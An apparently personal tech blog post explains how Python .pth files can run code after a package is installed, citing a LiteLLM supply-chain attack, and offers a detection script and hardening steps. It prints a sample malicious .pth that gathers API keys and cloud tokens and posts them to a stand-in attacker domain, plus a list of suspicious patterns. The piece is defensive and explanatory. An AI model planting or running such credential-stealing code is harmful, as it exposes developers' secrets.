Skip to content

What is a .pth File and How Does It Execute Code During pip Install?

Problem

When I first heard about the LiteLLM malware attack, I thought I was safe because I never actually imported the package in my production code. Then I discovered this terrifying fact:

The malicious code executed during `pip install`, not at import time.
By the time I "didn't use the package", my credentials were already stolen.

The problem is that most developers’ mental model assumes malicious code runs when you import a package, not when you install it. This gap is exactly what attackers exploit with .pth files.

Environment

  • Python 3.9+
  • pip 23.0+
  • Linux/macOS/Windows
  • Understanding of Python’s site-packages directory

What Is a .pth File?

I started by investigating what .pth files actually are. They’re Python path configuration files that Python’s site module processes during interpreter startup.

A typical .pth file looks simple:

example.pth
# This is a comment
/some/optional/path
import some_module

But here’s what I didn’t realize: any line starting with import in a .pth file gets executed as Python code automatically.

Where .pth Files Live

Terminal window
# Find your site-packages directory
python -c "import site; print(site.getsitepackages())"
# Common locations:
# Linux: /usr/local/lib/python3.11/site-packages/
# macOS: /usr/local/lib/python3.11/site-packages/
# Windows: C:\Python311\Lib\site-packages\

How the Attack Works

I traced through Python’s site.py module to understand the execution flow:

site.py (simplified from Python source)
def addpackage(sitedir, name, known_paths):
"""Process a .pth file and execute import statements"""
fullname = os.path.join(sitedir, name)
try:
f = open(fullname, "r")
except OSError:
return
with f:
for line in f:
line = line.rstrip()
if line.startswith("#"):
continue # Comment - skip
if line.startswith("import "):
# DANGER: Executes arbitrary code!
exec(line)
else:
# Add directory to sys.path
sys.path.append(line)

This means when pip install unpacks a package into site-packages, any .pth file inside gets processed immediately.

The Attack Timeline

Here’s what happens during a malicious pip install:

1. User runs: pip install malicious-package
2. pip downloads and unpacks the package
3. Files are placed into site-packages
4. .pth file is copied to site-packages
5. Python processes the .pth file (if any Python session starts)
6. Malicious code executes BEFORE any user code
In CI/CD:
1. CI runs: pip install -r requirements.txt
2. Malicious .pth executes with access to CI secrets
3. Credentials (AWS keys, API tokens) are stolen
4. Attacker now has access to your infrastructure

A Real Malicious .pth Example

Based on the LiteLLM attack pattern, here’s what a malicious .pth file looks like:

malicious.pth
# This file executes during pip install - no import needed!
import os
import sys
import json
import urllib.request
import base64
# Collect sensitive environment variables
sensitive_vars = [
'OPENAI_API_KEY', 'ANTHROPIC_API_KEY',
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY',
'GITHUB_TOKEN', 'NPM_TOKEN', 'PYPI_TOKEN',
]
collected = {}
for var in sensitive_vars:
value = os.environ.get(var)
if value:
collected[var] = value
# Exfiltrate to attacker's server
if collected:
payload = base64.b64encode(json.dumps(collected).encode())
try:
urllib.request.urlopen(
'https://attacker-controlled-domain.com/collect',
data=payload,
timeout=5
)
except:
pass # Fail silently to avoid detection

The scary part? This code runs in the context of whatever Python process picks up the .pth file - including your CI/CD pipeline with all its secrets.

Why “I Didn’t Import It” Is Wrong

I had to completely rethink my security assumptions:

My Old Mental Model:
pip install -> download -> unpack -> wait for import -> execute
^
|
"I'm safe if I don't import"
The Reality:
pip install -> download -> unpack -> .pth executes immediately
^
|
"Too late - credentials stolen"

Attack Surfaces

+------------------+ +------------------+ +------------------+
| Developer | | CI/CD | | Production |
| Machine | | Pipeline | | Server |
+------------------+ +------------------+ +------------------+
| - Local creds | | - AWS keys | | - API keys |
| - API keys in | | - GitHub tokens | | - Database creds |
| .env files | | - Deploy keys | | - Service tokens |
+------------------+ +------------------+ +------------------+
| | |
v v v
pip install runs pip install runs pip install runs
| | |
v v v
.pth executes .pth executes .pth executes
with YOUR creds with CI CREDS! with PROD CREDS!

Detection: How to Find Malicious .pth Files

I created an audit script to scan for suspicious .pth files:

audit_pth_files.py
#!/usr/bin/env python3
"""Audit .pth files in site-packages for suspicious content"""
import site
import os
import re
SUSPICIOUS_PATTERNS = [
r'urllib',
r'requests\.',
r'socket\.',
r'subprocess',
r'os\.system',
r'eval\s*\(',
r'exec\s*\(',
r'__import__',
r'\.env',
r'environ',
r'base64',
]
def audit_pth_files():
found_suspicious = False
for site_dir in site.getsitepackages():
if not os.path.exists(site_dir):
continue
for filename in os.listdir(site_dir):
if filename.endswith('.pth'):
filepath = os.path.join(site_dir, filename)
with open(filepath, 'r') as f:
content = f.read()
for pattern in SUSPICIOUS_PATTERNS:
if re.search(pattern, content):
print(f"[ALERT] SUSPICIOUS: {filepath}")
print(f" Pattern found: {pattern}")
print(f" Content: {content[:200]}")
found_suspicious = True
return found_suspicious
if __name__ == '__main__':
if audit_pth_files():
print("\n[!] Suspicious .pth files found. Review immediately!")
exit(1)
else:
print("[OK] No suspicious .pth files detected.")
exit(0)

Running this:

Terminal window
python audit_pth_files.py
# Output if clean:
# [OK] No suspicious .pth files detected.
# Output if malicious .pth found:
# [ALERT] SUSPICIOUS: /usr/local/lib/python3.11/site-packages/malicious.pth
# Pattern found: urllib
# Content: import urllib.request...

Prevention: Protecting Your Projects

1. Pin Dependencies with Hashes

requirements.txt
# BAD: No hash verification
litellm==1.82.6
# GOOD: Hash verification prevents tampered packages
litellm==1.82.6 \
--hash=sha256:abc123def456... \
--hash=sha256:789ghi012jkl...

Then install with:

Terminal window
pip install --require-hashes -r requirements.txt

2. Isolate Build Environments from Secrets

.github/workflows/build.yml
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Install WITHOUT exposing secrets
- name: Install dependencies
run: pip install -r requirements.txt
env:
# Only expose what's needed for install
PIP_NO_INPUT: 1
# Secrets only available AFTER install
- name: Build
run: python build.py
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}

3. Use Automated Security Scanning

.github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Install security tools
run: pip install pip-audit safety
- name: Run pip-audit
run: pip-audit -r requirements.txt
- name: Run safety check
run: safety check -r requirements.txt

4. Audit .pth Files Regularly

Add this to your CI pipeline:

audit-in-ci.sh
# Check for suspicious .pth files
python scripts/audit_pth_files.py
# Or use a simple grep
find $(python -c "import site; print(site.getsitepackages()[0])") \
-name "*.pth" -exec grep -l "urllib\|requests\|socket\|subprocess" {} \;

The Reason

I think the key reasons why .pth attacks are so dangerous:

1. Execution Timing - Code runs during pip install, not at import. Attackers don’t need you to use the package.

2. Mental Model Gap - Developers assume “I didn’t import it, so I’m safe”. But the damage is already done during installation.

3. CI/CD Exposure - Build environments often have sensitive credentials (AWS keys, deploy tokens) that can be stolen during the install phase.

4. Persistence - A malicious .pth can run every time Python starts, not just during installation.

5. Detection Difficulty - No user code has run yet, so traditional application-level monitoring won’t catch it.

Common Mistakes

I noticed several misconceptions about .pth file security:

Mistake 1: “I didn’t import the package”

Terminal window
# WRONG: Thinking you're safe
pip install suspicious-package
# (package installs with malicious .pth)
# "I never import suspicious-package, so I'm safe"
# REALITY: The .pth already executed during install!
# RIGHT: Audit before installing
pip download suspicious-package
unzip -l suspicious-package*.whl | grep ".pth"
# If .pth found, inspect it before installing

Mistake 2: “My CI/CD has security checks”

Most CI security checks run AFTER pip install, missing .pth execution entirely.

# WRONG: Security scan after install (too late!)
- run: pip install -r requirements.txt
- run: pip-audit # .pth already executed!
# RIGHT: Scan before install
- run: pip-audit -r requirements.txt # Check requirements first
- run: pip install -r requirements.txt

Mistake 3: “I pinned the version”

Version pinning only helps if you pinned before the malicious version was released.

# If you pinned litellm==1.82.6 BEFORE the attack, you're safe.
# If you updated requirements.txt AFTER the attack, you might have
# accidentally pinned 1.82.7 or 1.82.8.

Mistake 4: “I’ll just remove the package”

Terminal window
# WRONG: Thinking uninstall helps
pip uninstall malicious-package
# REALITY: The .pth already executed - credentials may already be stolen!
# RIGHT: Rotate all credentials immediately after discovering exposure

Mistake 5: “Sandboxing protects me”

Build environments often need network access for pip. A malicious .pth can exfiltrate data during that window.

Summary

In this post, I explained how Python .pth files work and why they’re a dangerous attack vector. The key points are:

  1. .pth files are a built-in Python feature with legitimate uses for namespace packages and path configuration

  2. Attackers exploit .pth files to run code during pip install, not at import time

  3. “I didn’t import the package” provides no protection - the damage is done during installation

  4. Build environment credentials are at highest risk since pip install typically runs in CI/CD with access to secrets

  5. Detection requires proactive scanning - check .pth files for suspicious patterns like urllib, requests, subprocess, etc.

To protect yourself:

  • Use hash-pinned requirements (pip install --require-hashes)
  • Audit .pth files in your site-packages directory regularly
  • Isolate build environments from production credentials
  • Use tools like pip-audit, safety, or snyk to detect known malicious packages
  • Pin exact versions and review changes to dependencies before updating

The LiteLLM attack was not sophisticated in its technical execution - it simply exploited a gap in developers’ mental models about when code runs during the package lifecycle.

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments